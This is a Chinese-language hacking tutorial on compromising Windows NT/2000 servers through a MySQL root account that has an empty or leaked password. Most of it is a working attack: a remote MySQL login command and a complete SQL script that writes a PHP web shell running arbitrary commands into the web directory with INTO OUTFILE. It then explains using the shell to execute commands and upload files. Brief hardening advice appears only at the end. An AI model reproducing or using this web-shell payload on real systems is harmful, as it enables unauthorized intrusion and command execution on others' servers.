許多NT和win2000機器上面裝有MySQL和PHP。而mysql默認數據庫root賬號為空,這就給入侵者一個途徑來入侵該機器。如果修改了數據庫root的賬號密碼,而IIS的一些其他漏洞導致源代碼洩漏也可能看到數據庫的賬號和密碼。假設我們已經拿到了數據庫的密碼,看看我們如何通過MySQL數據庫來獲得該機器的一定權限。
首先通常情況下,一般MySQL和php配合使用,大多數NT和win2000的機器上如果使用PHP一般都會使用mysql。而默認情況下Windows上的mysql是允許遠程連接的。而裝在Linux等上的MySQL是不允許遠程連接的。入侵的思路是寫一個shell腳本到web目錄。就可以通過這個shell教本來執行命令了。而一般情況下,Windows的web服務器是IIS,默認也是支持asp腳本的。網上也隨處可見asp的sehll腳本,只要將這個ASP的腳本傳到web目錄就好了。但是我覺得那些腳本都比較麻煩。而如果目標機器上面有php的話就可以用php腳本了。在這裡我用php腳本來寫shell。首先我們要用MySQL的客戶端連結到該機器,並執行我們的sql語句來在web目錄生成PHP的shell腳本。
C:\mysql\bin>MySQL -h xxx.xxx.xxx.xxx -uroot <PHP.sql
C:\MySQL\bin>
下面是PHP.sql的內容:
use test;
create table tmp(cmd TEXT);
insert into tmp values('<body onload=document.form1.cmd.focus()><?if (isset($cmd)){$cmd=stripslashes($cmd);exec(\"$cmd > temp.dat\");}?><style type=\"text/CSS\"><!\-\- .form1 {BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height: auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px\-\-></style><p class=\"title2\"> </p><form name=\"form1\" method=\\"post\" action=\"/cmd2.PHP\"> <input type=\"text\" name=\"cmd\" size=\"50\" class=\"form1\"></form><form name=\"form2\" method=\"post\" action=\"\"> <p> <textarea name=\"text\" cols=\"120\" rows=\"50\" class=\"form1\"><?if(isset($cmd)){readfile(\"temp.dat\");unlink(\"temp.dat\");}?></textarea> </p></form></body>');
select * from tmp into outfile 'd:\\new\\cmd2.PHP';
drop table tmp;
上面的sql語句是創建一個名字為tmp的table,將腳本輸入到數據庫,然後再將這個腳本保存成d:\new\cmd2.PHP。然後刪除tmp這個我們創建的table。這裡的d:\new的目錄是該機器的web目錄。然後我們就可以在浏覽器中輸http://xxx.xxx.xxx.xxx/cmd2.php,就可以利用這個shell執行命令了。至此我們已經獲得了該網站的一個guest權限的shell了。我們可以通過這個shell腳本寫個FTP腳本來上傳文件,也可以利用這個shell來進行其他guest權限能夠執行的一些東東了。這裡需要注意的是如果cmd2.php已經存在了這個sql腳本是不能運行成功的。這個PHP腳本不能寫成功。
關鍵的問題在於獲得數據庫的密碼並且能夠找到web目錄。然後一切都不成問題了。
安全建議:設置MySQL數據庫的密碼,並且要有一定的強度。設置好IIS避免洩漏源代碼,不要直接在web目錄編輯腳本等文件,因為有些編輯器會自動產生一個備份文件,一般為.bak的擴展名,這樣惡意攻擊者就可能直接打開這個.bak文件從而洩漏源代碼,比如global.asa.bak。